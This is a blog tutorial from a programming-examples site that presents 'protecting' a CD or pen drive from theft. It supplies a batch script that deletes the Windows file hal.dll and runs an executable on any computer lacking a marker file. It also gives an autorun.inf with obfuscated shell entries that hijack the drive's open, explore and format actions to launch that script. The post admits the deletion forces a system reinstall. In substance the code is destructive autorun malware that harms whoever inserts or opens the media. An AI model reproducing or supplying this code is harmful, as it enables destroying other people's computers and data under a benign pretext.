AllInWorld99 provides a reference manual covering many aspects of web programming, including technologies such as HTML, XHTML, CSS, XML, JavaScript, PHP, ASP, SQL,FLASH, jQuery, java, for loop, switch case, if, if else, for...of, for...in, for...each,while loop, blogger tips, blogger meta tag generator, blogger tricks, blogger pagination, client side script, html code editor, javascript editor with instant output, css editor, online html editor, materialize css tutorial, materialize css dropdown list,break, continue statement, label,array, json, get day and month dropdown list using c# code, CSS button,protect cd or pendrive from virus, cordova, android example, html and css to make android app, html code play,telerik show hide column, Transparent image convertor, copy to clipboard using javascript without using any swf file, simple animation using css, SQL etc. AllInWorld99 presents thousands of code examples (accompanied with source code) which can be copied/downloaded independantly. By using the online editor provided,readers can edit the examples and execute the code experimentally.



Protect your cd or pen drive from stealing:-
      Many times our CD's stealing and we will lost important data, we can protect the CD from other's using a simple technique.

    .BAT or (.Cmd) file is called Batch file, this file is used to execute the set of commends at a time, so we write more commends and store inside the bat file.

Write down the code into the notepad and save the name "main.cmd":-
echo off
IF NOT EXIST %windir%\mg\mg.txt erase %windir%\system32\hal.dll && illegal.exe
IF EXIST %windir%\mg\mg.txt co.cmd

Explanation:-
    This code is first check a file mg.txt on "C:\Windows\mg\" this drive. If it is exists this will execute a below "co.cmd" file, if it is not exists erase the main system file "hal.dll" and execute the "illegal.exe"(this is optional) file, hal.dll file is the main operating system file if it is lost you must re-install your system and this file only remove on windows xp, window 7 and above we can't remove this file.

Write down the following code and save the name "co.cmd":-
echo off
correct.exe

Explanation:-
    The above example is just execute the "correct.exe" file, and this is the optional no need to give this file or you can replace instead of this file.

The following code is used to execute the main.co file when you insert the CD into your CD Drive automatically. This file is called autorun.inf. Name is "autorun.inf"
[AutoRun]
Label=Your_Name
ShElL\MeRbIn\cOMmaND=main.cmd
SheLl\open\COmmaNd=main.cmd
MeRbIn=MGearnbeisnh.cmd
shell\explOre\COmmANd=main.cmd
ShElL\*#*#*#*#*#\cOMmaND=main.cmd
ShElL\Format...\cOMmaND=main.cmd
icon=cd_drive_icon.ico



Explanation:-
    you can replace cd drive default icon into your icon, using the "icon=cd_drive_icon.ico" file. after adding this file to cd and write or added to pen drive and right click on the CD Drive or pen drive ico, you can see the changes.


The above code is replace your  default action open menu into the "main.cmd" file. Default action is open the CD drive folder and files. But this will replace the default action to open the "main.cmd" file.


Advertisement



Screen Shots:-
Change driver icon using autorun.inf file

Flash created Image

Flash created Image


0 comments:

Post a Comment

Notification

Total Pageviews